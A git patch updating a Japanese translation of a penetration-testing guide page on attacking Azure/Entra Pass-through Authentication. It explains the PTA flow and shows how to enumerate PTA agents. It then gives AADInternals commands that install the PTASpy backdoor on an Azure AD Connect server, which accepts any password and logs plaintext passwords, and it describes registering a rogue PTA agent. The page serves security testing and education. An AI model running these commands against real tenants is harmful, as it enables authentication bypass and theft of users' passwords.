From ff87477cd492f67f6741124d363d1893b05c4dec Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 24 Jul 2025 11:26:20 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo --- .../pta-pass-through-authentication.md | 78 +++++++++++++------ 1 file changed, 55 insertions(+), 23 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md index 0086fd34b..bc1acaaf7 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md @@ -1,41 +1,75 @@ -# Az - PTA - パススルー認証 +# Az - PTA - Pass-through Authentication {{#include ../../../../banners/hacktricks-training.md}} ## 基本情報 -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) パススルー認証を使用すると、ユーザーは**同じパスワードを使用してオンプレミスおよびクラウドベースのアプリケーションにサインイン**できます。この機能は、ユーザーにとってより良い体験を提供し、覚えるべきパスワードが1つ減るため、ITヘルプデスクのコストを削減します。ユーザーがAzure ADを使用してサインインすると、この機能は**オンプレミスのActive Directoryに対して直接ユーザーのパスワードを検証**します。 +[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra パススルー認証を使用すると、ユーザーは **オンプレミスおよびクラウドベースのアプリケーションに同じパスワードでサインインできます**。この機能は、ユーザーにとってより良い体験を提供します - 覚えておくべきパスワードが1つ減り、ユーザーがサインイン方法を忘れる可能性が低くなるため、ITヘルプデスクのコストが削減されます。ユーザーが Microsoft Entra ID を使用してサインインすると、この機能はユーザーのパスワードをオンプレミスの Active Directory に対して直接検証します。 -PTAでは**アイデンティティ**は**同期**されますが、**パスワード**はPHSのように**同期**されません。 +PTA では **アイデンティティ** は **同期されます** が、**パスワードは同期されません**(PHS のように)。 -認証はオンプレミスのADで検証され、クラウドとの通信は**オンプレミスサーバー**で実行される**認証エージェント**によって行われます(オンプレミスのDC上である必要はありません)。 +認証はオンプレミスの AD で検証され、クラウドとの通信は **オンプレミスサーバー** で実行される **認証エージェント** によって行われます(オンプレミスの DC にある必要はありません)。 ### 認証フロー
-1. **ログイン**するために、ユーザーは**Azure AD**にリダイレクトされ、**ユーザー名**と**パスワード**を送信します。 -2. **資格情報**は**暗号化**され、Azure ADの**キュー**に設定されます。 -3. **オンプレミス認証エージェント**がキューから**資格情報**を収集し、**復号化**します。このエージェントは**「パススルー認証エージェント」**または**PTAエージェント**と呼ばれます。 -4. **エージェント**は**オンプレミスAD**に対して資格情報を**検証**し、**応答**をAzure ADに**返します**。応答が肯定的であれば、**ユーザーのログインを完了**します。 +1. **ログイン**するために、ユーザーは **Azure AD** にリダイレクトされ、**ユーザー名** と **パスワード** を送信します。 +2. **資格情報** は **暗号化** され、Azure AD の **キュー** に設定されます。 +3. **オンプレミス認証エージェント** がキューから **資格情報** を収集し、**復号化** します。このエージェントは **「パススルー認証エージェント」** または **PTA エージェント** と呼ばれます。 +4. **エージェント** は **オンプレミス AD** に対して資格情報を **検証** し、**応答** を **Azure AD** に **返します**。応答が肯定的であれば、ユーザーの **ログインを完了** します。 > [!WARNING] -> 攻撃者が**PTA**を**侵害**すると、キュー内のすべての**資格情報**(**平文**)を見ることができます。\ -> また、AzureADに対して**任意の資格情報を検証**することもできます(Skeleton keyに似た攻撃)。 +> 攻撃者が **PTA** を **侵害** すると、キュー内のすべての **資格情報** を(**平文**で)**見る** ことができます。\ +> また、AzureAD に対して **任意の資格情報を検証** することもできます(Skeleton key に似た攻撃)。 -### オンプレミス -> クラウド +### 列挙 -**PTA** **エージェント**が実行されている**Azure AD Connectサーバー**に**管理者**アクセスがある場合、**AADInternals**モジュールを使用して、**入力されたすべてのパスワードを検証**する**バックドア**を**挿入**できます(すべてのパスワードが認証に対して有効になります): +From Entra ID: ```bash -Install-AADIntPTASpy +az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents' +# Example response: +{ +"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())", +"value": [ +{ +"agents": [ +{ +"externalIp": "20.121.45.57", +"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c", +"machineName": "ConnectSync.hacktricks-con.azure", +"status": "active", +"supportedPublishingTypes": [ +"authentication" +] +} +], +"displayName": "Default group for Pass-through Authentication", +"id": "d372d40f-3f81-4824-8b9e-6028182db58e", +"isDefault": true, +"publishingType": "authentication" +} +] +} +``` +オンプレミスサーバーでエージェントが実行されているか確認します: +```bash +Get-Service -Name "AzureADConnectAuthenticationAgent" +``` +## ピボッティング + +**PTA** **エージェント**が実行されている**Azure AD Connectサーバー**に**管理者**アクセスがある場合、**AADInternals**モジュールを使用して、**すべてのパスワード**を**検証するバックドア**を**挿入**することができます(すべてのパスワードが認証に対して有効になります): +```bash +Install-Module AADInternals -RequiredVersion 0.9.3 +Import-Module AADInternals +Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file +Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text + +Remove-AADIntPTASpy # Remove the backdoor ``` > [!NOTE] -> **インストールが失敗した場合**、これはおそらく[Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe)が不足しているためです。 +> インストールが**失敗した**場合、これはおそらく[Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe)が不足しているためです。 -また、前のバックドアがインストールされたマシンで次のcmdletを使用することで、**PTAエージェントに送信された平文のパスワードを確認する**ことも可能です: -```bash -Get-AADIntPTASpyLog -DecodePasswords -``` このバックドアは以下を行います: - 隠しフォルダー `C:\PTASpy` を作成します @@ -45,14 +79,12 @@ Get-AADIntPTASpyLog -DecodePasswords > [!NOTE] > AzureADConnectAuthenticationAgent サービスが再起動されると、PTASpy は「アンロード」され、再インストールする必要があります。 -### クラウド -> オンプレミス - > [!CAUTION] -> クラウドで **GA 権限** を取得した後、**攻撃者が制御するマシン** に設定することで **新しい PTA エージェント** を **登録** することが可能です。エージェントが **設定** されると、**以前の** 手順を **繰り返して** **任意のパスワードを使用して認証** し、さらに **パスワードを平文で取得** することができます。 +> クラウドで**GA権限**を取得した後、新しいPTAエージェントを**登録**することが可能で、**以前の**手順を**繰り返して**任意のパスワードを使用して**認証**し、さらに**パスワードを平文で取得**することができます。 -### シームレス SSO +### シームレスSSO -PTA とともにシームレス SSO を使用することが可能で、他の悪用に対して脆弱です。詳細は以下を確認してください: +PTAを使用してシームレスSSOを利用することが可能で、他の悪用に対して脆弱です。詳細は以下を確認してください: {{#ref}} seamless-sso.md